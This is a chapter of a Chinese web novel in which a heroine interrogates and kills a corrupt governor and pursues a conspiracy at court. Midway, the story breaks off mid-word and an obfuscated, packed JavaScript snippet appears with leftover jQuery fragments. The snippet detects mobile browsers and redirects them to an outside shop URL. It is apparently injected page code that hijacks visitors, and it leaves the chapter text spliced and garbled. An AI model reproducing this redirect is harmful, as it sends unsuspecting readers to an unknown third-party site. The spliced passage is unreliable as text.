3. 她就是那个变数

作品:《王爷的必死循环被她杀穿了

    巡抚脸色一白,正要呼喊救命,却被司倾酒一脚踹翻在地,而后一脚踩在他的身上,将匕首直接刺进了他的肩侧。


    血色喷涌,剧痛让巡抚惊声开口,但他却突然发现,自己连哀嚎声都发不出,只剩下司倾酒能听清的低语。


    “你是谁?竟敢刺杀朝廷命官?”


    司倾酒一声冷笑,“你身为巡抚,却好色成性,借用职务之便,强占不少无辜的姑娘,而地上死的那个狗腿子,就是帮你物色姑娘的同伙,你们都该死。”


    司倾酒自小被训练,后又走南闯北近十年,如今可不是什么善男信女。


    “你敢!”


    “我如何不敢?”


    司倾酒拔出匕首,一个侧滑直接挑开了巡抚的手腕,随后横在了巡抚的脖颈上,“你若识相,就老实回答我一个问题。”


    命悬一线,巡抚也见识了司倾酒的狠辣,不敢再与之对抗。


    “女侠饶命,你且问,我定知无不言。”


    “五日前,你曾在鲤城,从一个男人手上抢了一位姑娘,她现在人在何处?”


    “姑娘?”


    “你若想不起来...”


    眼前着脖颈冰凉拉动了血痕,刺痛让巡抚立马想了起来。


    “是那位后颈有朵梅花印记的哑巴?”


    “哑巴?”


    司倾酒瞬间杀意袭出,他们竟然毒哑了她。


    “她在何处?”


    “那姑娘被我卖了。”


    “卖去哪里?”


    “牙司行当一个叫赵三的男人,我们一直有往来,他手下有不少人,办事靠谱,这里有令牌,有了这个,就可以和他们联系上,女侠也能找到那姑娘。”


    巡抚将一块令牌颤巍巍递给司倾酒,随后拼命求饶。


    “女侠,我该说的都说了,我保证绝不再犯,女侠饶我一命,我...”


    声音戛然而止,随着巡抚身影倒下,房中血流成河。


    司倾酒没有再看巡抚一眼,厌恶将匕首上的血色尽数擦去,这才出了房间。


    按照之前安排好的路线,夜色掩护,顺利从西侧院墙一跃而出。


    院墙外,有马车在暗巷等候,伍箐立即带她扬长而去。


    伍箐是同她一起长大的女卫,武艺高强,一直跟在司倾酒的身边。


    这也是之前元恒深说伤不到她的原因,因为有伍菁在侧,的确外人很难伤她。


    但需要是外人。


    马车绕路许久,确定没有人跟踪,这才进了一处偏僻的院子。


    等进了房间,伍菁看着司倾酒一声狼狈,眉头紧锁。


    “怎么回事?那狗东西欺负了姑娘?我去杀了他!”


    “他已经死了,把我弄成这样的,是别人。”


    “是谁?我也去杀了。”


    司倾酒无奈拉住伍菁,“好啦,我没事,先传信苏玉,去查一个叫张三的人。”


    “万灵在她手里?”


    “嗯”,司倾酒点点头,又将令牌递给了伍菁,“还有,帮我熬一帖药来。”


    等伍菁出去,司倾酒这才开始处理自己的伤口。


    燕柔本是太医院院正长女,院正去世以后,燕柔便去了药仙谷继续学医,万灵便是一直跟着照顾她的贴身女侍。


    京中传出的消息,是燕柔突发恶疾离世。


    医者不能自医也属正常,可不正常的是,在燕柔离世前,燕柔院中的所有小厮和丫鬟们,全都被暗自带走。


    更让人震惊的是,据被拦截到的人说,他收到的命令,是将那些人尽数灭口,是他自己贪财,这才将所有人又暗地卖了。


    万灵便是在鲤城,被那位巡抚抢了去。


    一切都晚了一步,不过司倾酒却可以确定,燕柔的死,绝对不是突发恶疾那么简单。


    等司倾酒清洗完毕换好衣衫,伍菁也端来了药。


    司倾酒毫不犹豫尽数饮下,随后看着一侧的伍菁,“你就不问问,我为何会喝这绝子药?”


    虽然不确定和楼景川到底有没有发生实质性的关系。


    但措施还是要做全的。


    伍菁一如既往的淡定,“有什么好问的?姑娘向来随性逍遥,及时行乐,睡个把男人的,也没什么稀奇的,只不过姑娘这么优秀,也不是随便什么野男人都配让姑娘留下子嗣的,自然是要绝了这后患。”


    啧。


    听完伍菁的话,司倾酒头一次觉得竟然有些道理。


    是她封建了!


    “好了,不说这个了,明日便要进京都了,你先去知会一声,不要让我回京都的消息,让宫里知道。”


    “其实我有些不明白,姑娘为何不直接回宫,然后彻查此事?”


    “我的第六感告诉我,此事非同一般,若光明正大的查,只会让线索消失的更干净,我就是要让幕后人觉得我不过是个弱女子,即便查也翻不起什么浪来,才会有所疏漏,让我更快找到真相。”


    “也是,能让燕姑娘那个废物弟弟都入朝为官,可不是一般人能做到的,万一是世家的人,即便能正大光明的查,恐怕最后也会不了了之。而且皇鉴阁的那位一直不服姑娘,未必帮忙不说,没准儿还暗地使坏。”


    “查到是谁操作给那废物官职了吗?”


    “苏玉那边来的消息是,表面的一切都合乎规矩,并无疏漏之处。”


    “也就是说,幕后之人将一切都安排成了合理的样子,够厉害的。”


    “所以,恐怕不好查。”


    司倾酒深呼一口气,闭眼竭力压住怒气,“那就抓紧休息,两个时辰后,出发回京。”


    司倾酒之所以要这么行事,是因为如今的明渊国,已然是乱局丛生。


    明渊国结构复杂,初任国君是以六大世家为助力开立明渊国,后又以世家之女不入后宫的规矩,避免了世家因皇族血脉而产生夺权心思引发动乱,从而让明渊国持续了近两百年的太平盛世。


    可随着时间流逝,皇家和世家也都轮换话事人,因此最初只为天下大义的共同初心,也在权势诱惑下逐渐分崩离析,皇家和世家的关系也开始变得有些微妙。


    尤其在当今圣上登位之后,世家竟共同上书,诉求联姻。表面上是为了修复皇家和世家的关系,让其更加紧密,实则是动了利用皇嗣夺权的心思。


    但圣上竟然欣然同意,可在立邰阳景家长女为后之后,却虚设后宫,不再纳入任何妃嫔,一时也引发朝廷动荡。


    直到二十五年前,一场动乱让景后与其腹中孩子纷纷殒命,尸骨无存,圣上大受打击,之后便广纳后宫,多是世家之女。


    这也就导致如今各世家门中皆有皇子,都为了中宫之位明争暗斗。


    这样的局面之下,司倾酒身为世家之首寒渊司家的少家主,又是被明渊国运星盘命定的少国师,她的一举一动,都会牵


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088555|195423||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    涉甚广。


    所以不能大张旗鼓。


    好在她虽然因为身上的使命,儿时曾在宫中学习国务,可十岁就离京游历,如今的模样几乎无人认识,只要身份没有暴露,她行事还是方便的。


    无论如何,她都要查明真相,为燕柔讨回公道。


    这边司倾酒紧锣密鼓,另一边楼景川已经站在了巡抚大人的尸体旁。


    看着尸体旁留的“狗官该死”的字条,下面还有巡抚的种种罪证,楼景川抬了抬眉梢。


    “字儿真丑!”


    随后又看向那早就气绝的巡抚大人,一声叹息。


    “看来你真是命该绝于此,我就这一次没想杀你,结果你还是死了。”


    话音一落,楼景川神色一沉,突然想到了什么。


    他没杀的人,她替他杀了。


    是不是意味着...


    “高珂,让你查的事情怎么样了?”


    “已经查到了,元侍郎此番出京,名义上巡查各处护城司的兵器库是否有误,但实则一直暗地追查一位姑娘的消息。”


    “所以说,他是因她而来。”


    也就是说,她确实,就是那个变数。


    “不过主君,那位酒医仙的身世很是神秘,除了药仙谷外,并没有查到其他的。”


    “无妨,她的过去可以慢慢查,现下紧要的,是盯紧她未来会做些什么。”


    楼景川的眼底被光亮布满,有强忍的急不可耐。


    “另外,等丧仪结束之后,我要去趟暗市,你带高烈准备准备。”


    “去暗市做什么?”


    “抓薛冰。”


    “他不是一直没有消息吗?主君如何知道他在暗市?”


    “让你去便去。”


    楼景川懒得解释,毕竟也解释过无数次了。


    “还有,那姓元的,别让他死了,会给她惹上麻烦的。”


    楼景川说完就走,留下高珂消化信息。


    给她惹上麻烦?那姑娘?


    自古贱人命长,元恒深也不例外。


    此刻正靠在床边,喝下了汤药,也清醒了过来。


    “酒酒呢?”


    “南境王处,未见有女子,应是已经走了。”


    “她应该是直奔京都了,赶紧收拾收拾,我们也启程...”


    元恒深想要起身,却因伤口又倒了回去,脸色变得惨白。


    随从方毅赶紧扶他躺下,“公子伤重不便于行,不过公子不用担心,我这就去安排,即便她回了京都,也将她的命取过来,给公子报仇。”


    一听这话,元恒深猛然将方毅拽了过去,通红的双眼里都是怒意和警告。


    “谁说我要杀她?”


    “公子,你这...”


    “我告诉你,任何人也不准再伤她分毫,我已经对不起过她一次,决不能再有第二次。”


    “可是公子,先不说老夫人那边不好交代,就连夫人也...”


    “无论是谁,这一次都休想伤她。打探她的行踪,谁也不要告诉,更不要靠近,回报我便是。”


    元恒深几乎是歇斯底里说出这句话。


    而后脑海里一浮现司倾酒在楼景川身侧的画面,他的眼底就深沉的可怕。


    里面翻涌着无尽的嫉恨和占有。


    他绝对不能容忍她出现在别的男人身旁,绝对不能。


    她只能是他的。